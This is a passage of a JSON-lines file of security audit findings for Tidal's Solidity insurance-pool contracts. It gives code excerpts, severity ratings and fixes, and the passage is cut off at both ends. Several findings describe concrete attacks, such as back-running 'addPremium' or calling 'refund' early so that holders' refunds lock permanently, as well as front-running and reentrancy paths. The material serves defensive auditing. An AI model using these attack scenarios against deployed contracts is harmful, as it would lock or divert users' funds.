amount_.mul(SHARE_UNITS)).div(poolInfo.totalShare);\n```\n\r\nThis should be:\r\n```solidity\r\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(\r\n amount_.mul(SHARE_UNITS).div(poolInfo.totalShare));\r\n```\r\nNote the different parenthesization. Without `SafeMath`:\r\n```solidity\r\npoolInfo.accTidalPerShare += amount_ * SHARE_UNITS / poolInfo.totalShare;\r\n```\r\n\r\nB. `_updateUserTidal`:\r\n\r\n\n**code/contracts/Pool.sol:L549-L550**\n```solidity\nuint256 accAmount = poolInfo.accTidalPerShare.add(\n userInfo.share).div(SHARE_UNITS);\n```\n\r\nThis should be:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare.mul(\r\n userInfo.share).div(SHARE_UNITS);\r\n```\r\nNote that `add` has been replaced with `mul`. Without `SafeMath`:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare * userInfo.share / SHARE_UNITS;\r\n```\r\n\r\nC. `withdrawTidal`:\r\n\r\n\n**code/contracts/Pool.sol:L568**\n```solidity\nuint256 accAmount = poolInfo.accTidalPerShare.add(userInfo.share);\n```\n\r\nAs in B, this should be:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare.mul(\r\n userInfo.share).div(SHARE_UNITS);\r\n```\r\nNote that `add` has been replaced with `mul` and that a division by `SHARE_UNITS` has been appended. Without `SafeMath`:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare * userInfo.share / SHARE_UNITS;\r\n```\r\n\r\nAs an additional minor point, the division in `addTidal` will revert with a panic (0x12) if the number of shares in the pool is zero. This case could be handled more gracefully.\r\n\r\n#### Recommendation\r\n\r\nImplement the fixes described above. The versions without `SafeMath` are easier to read and should be preferred; see 20.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`claim` – Incomplete and lenient implementation","severity":"major","body":"#### Description\r\n\r\nIn the current version of the code, the `claim` function is lacking crucial input validation logic as well as required state changes. Most of the process is implemented in other contracts or off-chain at the moment and is therefore out of scope for this audit, but there might still be issues caused by potential errors in the process. Moreover, pool manager and committee together have unlimited ownership of the deposits and can essentially withdraw all collateral to any desired address.\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L588-L592**\n```solidity\nfunction claim(\n uint256 policyIndex_,\n uint256 amount_,\n address receipient_\n) external onlyPoolManager {\n```\n\r\n#### Recommendation\r\n\r\nTo ensure a more secure claiming process, we propose adding the following logic to the `claim` function:\r\n\r\n1. `refund` should be called at the beginning of the `claim` flow, so that the recipient's true coverage amount will be used.\r\n2. `policyIndex` should be added as a parameter to this function, so that `coverageMap` can be used to validate that the amount claimed on behalf of a recipient is covered.\r\n3. The payout amount should be subtracted in the `coveredMap` and `coverageMap` mappings.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`buy` – insurance buyers trying to increase their coverage amount will lose their previous coverage","severity":"major","body":"#### Description\r\n\r\nWhen a user is willing to buy insurance, he is required to specify the desired amount (denoted as `amount_`) and to pay the entire premium upfront. In return, he receives the ownership over an entry inside the `coverageMap` mapping. If a user calls the `buy` function more than once for the same policy and time frame, his entry in the `coverageMap` will not represent the _accumulated_ amount that he paid for but only the _last_ coverage amount, which means previous coverage will be lost forever (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L266-L280**\n```solidity\nfor (uint256 w = fromWeek_; w < toWeek_; ++w) {\n incomeMap[policyIndex_][w] =\n incomeMap[policyIndex_][w].add(premium);\n coveredMap[policyIndex_][w] =\n coveredMap[policyIndex_][w].add(amount_);\n\n require(coveredMap[policyIndex_][w] <= maximumToCover,\n \"Not enough to buy\");\n\n coverageMap[policyIndex_][w][_msgSender()] = Coverage({\n amount: amount_,\n premium: premium,\n refunded: false\n });\n}\n```\n\r\n#### Recommendation\r\n\r\nThe coverage entry that represents the user's coverage should not be overwritten but should hold the _accumulated_ amount of coverage instead.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Several issues related to upgradeability of contracts","severity":"medium","body":"#### Description\r\n\r\nWe did not find a proxy contract or factory in the repository, but the README contains the following information:\r\n\r\n\n**code/README.md:L11**\n```solidity\nEvery Pool is a standalone smart contract. It is made upgradeable with OpenZeppelin’s Proxy Upgrade Pattern.\n```\n\r\n\n**code/README.md:L56**\n```solidity\nAnd there will be multiple proxies and one implementation of the Pools, and one proxy and one implementation of EventAggregator.\n```\n\r\nThere are several issues related to upgradeability or, generally, using the contracts as implementations for proxies. All recommendations in this report assume that it is not necessary to remain compatible with an existing deployment.\r\n\r\nA. The `Pool.sol` file imports `Initializable.sol` from OpenZeppelin's `contracts-upgradeable` and several other files from their \"regular\" `contracts` package.\r\n\r\n\n**code/contracts/Pool.sol:L5-L10**\n```solidity\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n```\n\r\nThese two should not be mixed, and in an upgradeable context, all files should be imported from `contracts-upgradeable`. Note that the import of `Ownable.sol` in `NonReentrancy.sol` can be removed completely; see 12.\r\n\r\nB. If upgradeability is supposed to work with inheritance, there should be dummy variables at the end of each contract in the inheritance hierarchy. Some of these have to be removed when \"real\" state variables are added. More precisely, it is conventional to use a fixed-size `uint256` array `__gap`, such that the consecutively occupied slots at the beginning (for the \"real\" state variables) add up to 50 with the size of the array. If state variables are added later, the gap's size has to be reduced accordingly to maintain this invariant. Currently, the contracts do not declare such a `__gap` variable.\r\n\r\nC. Implementation contracts should not remain uninitalized. To prevent initialization by an attacker – which, in some cases, can have an impact on the proxy – the implementation contract's constructor should call `_disableInitializers`.\r\n\r\n#### Recommendation\r\n\r\n1. Refamiliarize yourself with the subtleties and pitfalls of upgradeable contracts, in particular regarding state variables and the storage gap. A lot of useful information can be found [here](https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable).\r\n2. Only import from `contracts-upgradeable`, not from `contracts`.\r\n3. Add appropriately-sized storage gaps at least to `PoolModel`, `NonReentrancy`, and `EventAggregator`. (Note that adding a storage gap to `NonReentrancy` will break compatibility with existing deployments.) Ideally, add comments and warnings to each file that state variables may only be added at the end, that the storage gap's size has to be reduced accordingly, and that state variables must not be removed, rearranged, or in any way altered (e.g., type, `constant`, `immutable`). No state variables should ever be added to the `Pool` contract, and a comment should make that clear.\r\n4. Add a constructor to `Pool` and `EventAggregator` that calls `_disableInitializers`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`initialize` – Committee members array can contain duplicates","severity":"medium","body":"#### Description\r\n\r\nThe initial committee members are given as array argument to the pool's `initialize` function. When the array is processed, there is no check for duplicates, and duplicates may also end up in the storage array `committeeArray`.\r\n\r\n\n**code/contracts/Pool.sol:L43-L47**\n```solidity\nfor (uint256 i = 0; i < committeeMembers_.length; ++i) {\n address member = committeeMembers_[i];\n committeeArray.push(member);\n committeeIndexPlusOne[member] = committeeArray.length;\n}\n```\n\r\nDuplicates will result in a discrepancy between the length of the array – which is later interpreted as the number of committee members – and the actual number of (different) committee members. This could lead to more problems, such as an insufficient committee size to reach the threshold.\r\n\r\n#### Recommendation\r\n\r\nThe `initialize` function should verify in the loop that `member` hasn't been added before. Note that `_executeAddToCommittee` refuses to add someone who is already in the committee, and the same technique can be employed here.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`addPolicy`, `setPolicy` – Missing input validation","severity":"medium","body":"#### Description and Recommendation\r\n\r\nBoth `addPolicy` and `setPolicy` are missing essential input validation on two main parameters:\r\n1. `collateralRatio_` – Should be validated to be non-zero, and it might be worth adding a range check.\r\n2. `weeklyPremium_` – Should be less than `RATIO_BASE` at least, and it might be worth adding a maximum value check.\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L159**\n```solidity\nfunction addPolicy(\n```\n\n**code/contracts/Pool.sol:L143**\n```solidity\nfunction setPolicy(\n```","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`Pool.buy`– Users may end up paying more than intended due to changes in `policy.weeklyPremium`","severity":"medium","body":"#### Description\r\n\r\nThe price that an insurance buyer has to pay for insurance is determined by the duration of the coverage and the `weeklyPremium`. The price increases as the `weeklyPremium` increases. If a `buy` transaction is waiting in the mempool but eventually front-run by another transaction that increases `weeklyPremium`, the user will end up paying more than they anticipated for the same insurance coverage (assuming their allowance to the `Pool` contract is unlimited or at least higher than what they expected to pay).\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L273-L274**\n```solidity\nuint256 premium = amount_.mul(policy.weeklyPremium).div(RATIO_BASE);\nuint256 allPremium = premium.mul(toWeek_.sub(fromWeek_));\n```\n\r\n#### Recommendation\r\n\r\nConsider adding a parameter for the maximum amount to pay, and make sure that the transaction will revert if `allPremium` is greater than this maximum value.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Missing validation checks in `execute`","severity":"medium","body":"#### Description\r\n\r\nThe `Pool` contract implements a threshold voting mechanism for some changes in the contract state, where either the pool manager or a committee member can propose a change by calling `claim`, `changePoolManager`, `addToCommittee`, `removeFromCommittee`, or `changeCommitteeThreshold`, and then the committee has a time period for voting. If the threshold is reached during this period, then anyone can call `execute` to execute the state change.\r\n\r\nWhile some validation checks are implemented in the proposal phase, this is not enough to ensure that business logic rules around these changes are completely enforced.\r\n\r\n1. `_executeRemoveFromCommittee` – While the `removeFromCommittee` function makes sure that `committeeArray.length > committeeThreshold`, i.e., that there should always be enough committee members to reach the threshold, the same validation check is not enforced in `_executeRemoveFromCommittee`. To better illustrate the issue, let's consider the following example: `committeeArray.length = 5`, `committeeThreshold = 4`, and now `removeFromCommittee` is called two times in a row, where the second call is made before the first call reaches the threshold. In this case, both requests will be executed successfully, and we end up with `committeeArray.length = 3` and `committeeThreshold = 4`, which is clearly not desired.\r\n \r\n2. `_executeChangeCommitteeThreshold` – Applying the same concept here, this function lacks the validation check of `threshold_ <= committeeArray.length`, leading to the same issue as above. Let's consider the following example: `committeeArray.length = 3`, `committeeThreshold = 2`, and now `changeCommitteeThreshold`is called with `threshold_ = 3`, but before this request is executed, `removeFromCommittee` is called. After both requests have been executed successfully, we will end up with `committeeThreshold = 3` and `committeeArray.length = 2`, which is clearly not desired.\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L783**\n```solidity\nfunction _executeRemoveFromCommittee(address who_) private {\n```\n\r\n\n**code/contracts/Pool.sol:L796**\n```solidity\nfunction _executeChangeCommitteeThreshold(uint256 threshold_) private {\n```\n\r\n#### Recommendation\r\n\r\nApply the same validation checks in the functions that execute the state change.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Reentrancy concerns","severity":"minor","body":"#### Description and Recommendation\r\n\r\nA. All external functions in the `Pool` contract that make calls to the base or the Tidal token – and only these – have a `noReenter` modifier. That means that it is not possible to reenter the contract _through these functions_, but it could still be possible to reenter the pool through a _different_ external or public function that does not have such a modifier. Assuming the token contract allows reentrancy, the following could happen, for instance:\r\n\r\n1. Alice calls `withdrawReady`.\r\n2. During the call to the token contract, Alice gets control of execution through a callback.\r\n3. She reenters the pool contract through the `withdraw` function.\r\n\r\nNote that, at this point, `userInfo.pendingWithdrawShare` has a \"wrong\" value because we left the `Pool` contract before this state variable was updated. So the reentering call is operating on inconsistent state.\r\n\r\nWe didn't find a way to cause actual harm through this or similar reentrancies, but to rely on this kind of reasoning is dangerous, and there's always the risk to miss something. It is, therefore, recommended to add a `noReenter` modifier to all state-changing external functions, in particular the ones operating with shares.\r\n\r\nB. A second concern is reentrancy through `view` functions. In the example above, note that when we leave the pool contract, it is not only `userInfo.pendingWithdrawShare` that hasn't been updated yet, it is also `poolInfo.pendingWithdrawShare`. Hence, if we call, for example, `getAvailableCapacity` in step number 3, we will get a wrong result.\r\n\r\nIf this or other `view` functions are supposed to give reliable results under all circumstances, they should revert if `islocked` is `true`. (This state variable is currently private and not accessible in the derived contract `Pool`, so a small change has to be made in the `NonReentrancy` contract, too.)","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Hard-coded minimum deposit amount","severity":"minor","body":"#### Description\r\n\r\nThe `deposit` function specifies a minimum amount of 1e12 units of the base token for a deposit:\r\n\r\n\n**code/contracts/Pool.sol:L22**\n```solidity\nuint256 constant AMOUNT_PER_SHARE = 1e18;\n```\n\n**code/contracts/Pool.sol:L369-L376**\n```solidity\n// Anyone can be a seller, and deposit baseToken (e.g. USDC or WETH)\n// to the pool.\nfunction deposit(\n uint256 amount_\n) external noReenter {\n require(enabled, \"Not enabled\");\n\n require(amount_ >= AMOUNT_PER_SHARE / 1000000, \"Less than minimum\");\n```\n\r\nWhether that's an appropriate minimum amount or not depends on the base token. Note that the two example tokens listed above are USDC and WETH. With current ETH prices, 1e12 Wei cost an affordable 0.2 US Cent. USDC, on the other hand, has 6 decimals, so 1e12 units are worth 1 million USD, which is ... steep. \r\n\r\n#### Recommendation\r\n\r\nThe minimum deposit amount should be configurable.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Unnecessary use of `SafeMath` library","severity":"minor","body":"#### Description\r\n\r\nSince [Solidity v0.8.0](https://blog.soliditylang.org/2020/12/16/solidity-v0.8.0-release-announcement/), all arithmetic operations are checked by default and revert on over- or underflow. Hence, it is not necessary anymore to use the `SafeMath` library (or `SafeMathUpgradeable`). Employing it nonetheless not only wastes gas but also reduces the readability of arithmetic expressions considerably.\r\n\r\n#### Examples\r\n\r\nThe assignment \r\n```solidity\r\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(amount_.mul(SHARE_UNITS).div(poolInfo.totalShare));\r\n```\r\nis a lot easier to read without `SafeMath`:\r\n```solidity\r\npoolInfo.accTidalPerShare += amount_ * SHARE_UNITS / poolInfo.totalShare;\r\n```\r\nSee also 1.\r\n\r\n#### Recommendation\r\n\r\nWe recommend using the built-in arithmetic operations instead of `SafeMath`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Outdated Solidity version","severity":"minor","body":"#### Description\r\n \r\nThe source files' version pragmas either specify that they need compiler version exactly 0.8.10 or at least 0.8.10:\r\n\r\n\n**code/contracts/Pool.sol:L2**\n```solidity\npragma solidity 0.8.10;\n```\n\r\n\n**code/contracts/helper/EventAggregator.sol:L2**\n```solidity\npragma solidity ^0.8.10;\n```\n\r\nSolidity v0.8.10 is a fairly dated version that has [known security issues](https://docs.soliditylang.org/en/latest/bugs.html). We generally recommend using the latest version of the compiler (at the time of writing, this is v0.8.20), and we also discourage the use of floating pragmas to make sure that the source files are actually compiled and deployed with the same compiler version they have been tested with.\r\n\r\n#### Recommendation\r\n\r\nUse the Solidity compiler v0.8.20, and change the version pragma in all Solidity source files to `pragma solidity 0.8.20;`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Code used for testing purposes should be removed before deployment","severity":"minor","body":"#### Description\r\n\r\nVariables and logic have been added to the code whose only purpose is to make it easier to test. This might cause unexpected behavior if deployed in production. For instance, `onlyTest` and `setTimeExtra` should be removed from the code before deployment, as well as `timeExtra` in `getCurrentWeek` and `getNow`.\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/Pool.sol:L55**\n```solidity\nmodifier onlyTest() {\n```\n\n**code/contracts/Pool.sol:L67**\n```solidity\nfunction setTimeExtra(uint256 timeExtra_) external onlyTest {\n```\n\n**code/contracts/Pool.sol:L71-L73**\n```solidity\nfunction getCurrentWeek() public view returns(uint256) {\n return (block.timestamp + TIME_OFFSET + timeExtra) / (7 days);\n}\n```\n\n**code/contracts/Pool.sol:L75-L77**\n```solidity\nfunction getNow() public view returns(uint256) {\n return block.timestamp + timeExtra;\n}\n```\n\r\n#### Recommendation\r\n\r\nFor the long term, consider mimicking this behavior by using features offered by your testing framework.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Missing events","severity":"minor","body":"#### Description\r\n\r\nSome state-changing functions do not emit an event at all or omit relevant information.\r\n\r\n#### Examples\r\n\r\nA. `Pool.setEventAggregator` should emit an event with the value of `eventAggregator_` so that off-chain services will be notified and can automatically adjust.\r\n\n**code/contracts/Pool.sol:L93-L95**\n```solidity\nfunction setEventAggregator(address eventAggregator_) external onlyPoolManager {\n eventAggregator = eventAggregator_;\n}\n```\n\r\nB. `Pool.enablePool` should emit an event when the pool is dis- or enabled.\r\n\n**code/contracts/Pool.sol:L581-L583**\n```solidity\nfunction enablePool(bool enabled_) external onlyPoolManager {\n enabled = enabled_;\n}\n```\n\r\nC. `Pool.execute` only logs the `requestIndex_` while it should also include the `operation` and `data` to better reflect the state change in the transaction.\r\n\n**code/contracts/Pool.sol:L756-L760**\n```solidity\nif (eventAggregator != address(0)) {\n IEventAggregator(eventAggregator).execute(\n requestIndex_\n );\n}\n```\n\r\n#### Recommendation\r\n\r\nState-changing functions should emit an event to have an audit trail and enable monitoring of smart contract usage.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`CommitteeRequest`, `WithdrawRequest` - should use an `enum` type","severity":null,"body":"#### Description and Recommendation\r\n\r\nA. There are 5 different operations: `claim`, `changePoolManager`, `addToCommittee`, `removeFromCommittee`, and `changeCommitteeThreshold`. These operations are numbered from 0 to 4, and this number is stored as a `uint8` in committee requests:\r\n\r\n\n**code/contracts/model/PoolModel.sol:L99-L104**\n```solidity\nstruct CommitteeRequest {\n uint256 time;\n uint256 vote;\n bool executed;\n uint8 operation;\n bytes data;\n```\n\r\nDevelopers have to remember or look up which number denotes which operation:\r\n\r\n\n**code/contracts/Pool.sol:L738-L754**\n```solidity\nif (cr.operation == 0) {\n (uint256 amount, address receipient) = abi.decode(\n cr.data, (uint256, address));\n _executeClaim(amount, receipient);\n} else if (cr.operation == 1) {\n address poolManager = abi.decode(cr.data, (address));\n _executeChangePoolManager(poolManager);\n} else if (cr.operation == 2) {\n address newMember = abi.decode(cr.data, (address));\n _executeAddToCommittee(newMember);\n} else if (cr.operation == 3) {\n address oldMember = abi.decode(cr.data, (address));\n _executeRemoveFromCommittee(oldMember);\n} else if (cr.operation == 4) {\n uint256 threshold = abi.decode(cr.data, (uint256));\n _executeChangeCommitteeThreshold(threshold);\n}\n```\n\r\nThis is error-prone and tedious. An [enum type](https://docs.soliditylang.org/en/v0.8.20/types.html#enums) is a safer and more convenient way to encode the different operations. In fact, this is a textbook scenario for employing an enum, and we recommend doing so.\r\n\r\nB. Withdrawal requests are first created with the `withdraw` function. After `withdrawWaitWeeks1` weeks, they can be advanced to a \"pending\" status by calling `withdrawPending`. Finally, after another `withdrawWaitWeeks2` weeks, the request can be executed via `withdrawReady`.\r\n\r\nThis is currently implemented via two boolean members in the `WithdrawRequest` struct, `pending` and `executed`:\r\n\r\n\n**code/contracts/model/PoolModel.sol:L72-L78**\n```solidity\nstruct WithdrawRequest {\n uint256 share;\n uint256 time;\n bool pending;\n bool executed;\n bool succeeded;\n}\n```\n\r\nInitially, when the request is created, they're both set to `false`. For a pending request, `pending` is `true`, and `executed` remains at `false`. Finally, they're both set to `true` for an executed request.\r\n\r\nAn object transitioning through a series of states is another excellent use case for enums. In this example, the state could be modeled with an enum as follows: `enum Status { Created, Pending, Executed }`. This approach has several advantages compared to the implementation with two boolean variables:\r\n* It uses only one variable, instead of two. In particular, setting and querying the state only involves one variable.\r\n* It can be easily extended to more states without introducing additional variables.\r\n* The object can never be in more than one state at once or in an undefined state. (With the current implementation, it would be possible to have `pending == false` and `executed == true`.)\r\n\r\n#### Remark\r\n\r\nIt is often a good idea to have something like \"None\" or \"NonExistent\" as first value in the enum. That makes it easy to distinguish \"real\" objects from unchanged storage, as in: \"Here is no object.\" In the two examples above, that is not necessary, but it wouldn't hurt either.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"No NatSpec annotations","severity":null,"body":"#### Description\r\n\r\nNatSpec is the de facto standard for the annotation of Solidity files. To quote the Solidity documentation:\r\n\r\n> It is recommended that Solidity contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI).\r\n\r\nThe Tidal codebase does not use NatSpec, and there's not a lot of documentation and comments in general.\r\n\r\n#### Recommendation\r\n\r\nUse NatSpec documentation and follow the advice in the quote.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`vote` - Voting \"no\" has no effect","severity":null,"body":"#### Description\r\n\r\nCommittee members can vote on proposals with either \"yes\" or \"no\". Voting \"no\" has no effect at all, i.e., there is no state change or event emitted, no return value, etc.\r\n\r\n\n**code/contracts/Pool.sol:L695-L701**\n```solidity\nfunction vote(\n uint256 requestIndex_,\n bool support_\n) external onlyCommittee {\n if (!support_) {\n return;\n }\n```\n\r\nThis means voting with \"no\" is pointless, and the option to do so could be removed completely.\r\n\r\n#### Recommendation\r\n\r\nConsider removing the `bool support_` parameter from the `vote` function, such that calling `vote` is always a \"yes\" vote. Maybe rename the function to make this more explicit.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Unused import","severity":null,"body":"#### Description\r\n\r\nThe file `NonReentrancy.sol` imports `Ownable.sol`, but this import is not used.\r\n\r\n\n**code/contracts/common/NonReentrancy.sol:L4**\n```solidity\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n```\n\r\n#### Recommendation\r\n\r\nRemove the unnecessary import.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"Unnecessary and outdated pragma directive","severity":null,"body":"#### Description\r\n\r\nThe `Pool.sol` source file uses the pragma directive `pragma experimental ABIEncoderV2;`:\r\n\r\n\n**code/contracts/Pool.sol:L3**\n```solidity\npragma experimental ABIEncoderV2;\n```\n\r\nABI coder V2 is the default since Solidity v0.8.0 and is considered non-experimental as of Solidity v0.6.0. Hence, this directive is not necessary and even a bit misleading because the \"experimental\" status was removed long ago.\r\n\r\n#### Recommendation\r\n\r\nThis line can be removed. If you want to be explicit for some reason, it should be replaced with `pragma abicoder v2;`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} -{"title":"`vote` could call `execute` when `committeeThreshold` is reached","severity":null,"body":"#### Description and Recommendation\r\n\r\nIn the current version of the code, an additional transaction to `execute` is needed in case the threshold was reached for a specific request. Instead, `execute` could be invoked as part of `vote` when the threshold is reached. \r\n\r\n\n**code/contracts/Pool.sol:L714**\n```solidity\ncr.vote = cr.vote.add(1);\n```","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`addPremium` – A Back Runner May Cause an Insurance Holder to Lose Their Refunds by Calling `addPremium` Right After the Original Call","severity":"critical","body":"#### Description\r\n\r\n`addPremium` is a public function that can be called by anyone and that distributes the weekly premium payments to the pool manager and the rest of the pool share holders. If the collateral deposited is not enough to cover the total coverage offered to insurance holders for a given week, refunds are allocated pro rata for all insurance holders of that particular week and policy. However, in the current implementation, attackers can call `addPremium` right after the original call to `addPremium` but before the call to `refund`; this will cause the insurance holders to lose their refunds, which will be effectively locked forever in the contract (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L313-L314**\n```solidity\nrefundMap[policyIndex_][week] = incomeMap[policyIndex_][week].mul(\n allCovered.sub(maximumToCover)).div(allCovered);\n```\n\r\n#### Recommendation\r\n\r\n`addPremium` should contain a validation check in the beginning of the function that reverts for the case of `incomeMap[policyIndex_][week] = 0`.","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`refund` – Attacker Can Lock Insurance Holder's Refunds by Calling `refund` Before a Refund Was Allocated","severity":"critical","body":"#### Description\r\n\r\n`addPremium` is used to determine the refund amount that an insurance holder is eligible to claim. The amount is stored in the `refundMap` mapping and can then later be claimed by anyone on behalf of an insurance holder by calling `refund`. The `refund` function can't be called more than once for a given combination of `policyIndex_`, `week_`, and `who_`, as it would revert with an \"Already refunded\" error. This gives an attacker the opportunity to call `refund` on behalf of any insurance holder with value 0 inside the `refundMap`, causing any future refund allocated for that holder in a given week and for a given policy to be locked forever in the contract (unless the contract is upgraded).\r\n\r\n#### Examples\r\n\r\n\n**contracts/Pool.sol:L341-L367**\n```solidity\nfunction refund(\n uint256 policyIndex_,\n uint256 week_,\n address who_\n) external noReenter {\n Coverage storage coverage = coverageMap[policyIndex_][week_][who_];\n\n require(!coverage.refunded, \"Already refunded\");\n\n uint256 allCovered = coveredMap[policyIndex_][week_];\n uint256 amountToRefund = refundMap[policyIndex_][week_].mul(\n coverage.amount).div(allCovered);\n coverage.amount = coverage.amount.mul(\n coverage.premium.sub(amountToRefund)).div(coverage.premium);\n coverage.refunded = true;\n\n IERC20(baseToken).safeTransfer(who_, amountToRefund);\n\n if (eventAggregator != address(0)) {\n IEventAggregator(eventAggregator).refund(\n policyIndex_,\n week_,\n who_,\n amountToRefund\n );\n }\n}\n```\n\r\n#### Recommendation\r\n\r\nThere should be a validation check at the beginning of the function that reverts if `refundMap[policyIndex_][week_] == 0`.\r\n","dataSource":{"name":"/diligence/audits/2023/05/tidal/","repo":"https://consensys.net//diligence/audits/2023/05/tidal/","url":"https://consensys.net//diligence/audits/2023/05/tidal/"}} +{"title":"`addTidal`, `_updateUserTidal`, `withdrawTidal` – Wrong Arithmetic Calculations","severity":"critical","body":"#### Description\r\n\r\nTo further incentivize sellers, anyone – although it will usually be the pool manager – can send an arbitrary amount of the Tidal token to a pool, which is then supposed to be distributed proportionally among the share owners. There are several flaws in the calculations that implement this mechanism:\r\n\r\nA. `addTidal`:\r\n\r\n\n**contracts/Pool.sol:L543-L544**\n```solidity\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(\n amount_.mul(SHARE_UNITS)).div(poolInfo.totalShare);\n```\n\r\nThis should be:\r\n```solidity\r\npoolInfo.accTidalPerShare = poolInfo.accTidalPerShare.add(\r\n amount_.mul(SHARE_UNITS).div(poolInfo.totalShare));\r\n```\r\nNote the different parenthesization. Without `SafeMath`:\r\n```solidity\r\npoolInfo.accTidalPerShare += amount_ * SHARE_UNITS / poolInfo.totalShare;\r\n```\r\n\r\nB. `_updateUserTidal`:\r\n\r\n\n**contracts/Pool.sol:L549-L550**\n```solidity\nuint256 accAmount = poolInfo.accTidalPerShare.add(\n userInfo.share).div(SHARE_UNITS);\n```\n\r\nThis should be:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare.mul(\r\n userInfo.share).div(SHARE_UNITS);\r\n```\r\nNote that `add` has been replaced with `mul`. Without `SafeMath`:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare * userInfo.share / SHARE_UNITS;\r\n```\r\n\r\nC. `withdrawTidal`:\r\n\r\n\n**contracts/Pool.sol:L568**\n```solidity\nuint256 accAmount = poolInfo.accTidalPerShare.add(userInfo.share);\n```\n\r\nAs in B, this should be:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare.mul(\r\n userInfo.share).div(SHARE_UNITS);\r\n```\r\nNote that `add` has been replaced with `mul` and that a division by `SHARE_UNITS` has been appended. Without `SafeMath`:\r\n```solidity\r\nuint256 accAmount = poolInfo.accTidalPerShare * userInfo.share / SHARE_UNITS;\r\n```\r\n\r\nAs an additional minor point, the division in `addTidal` will revert with a panic 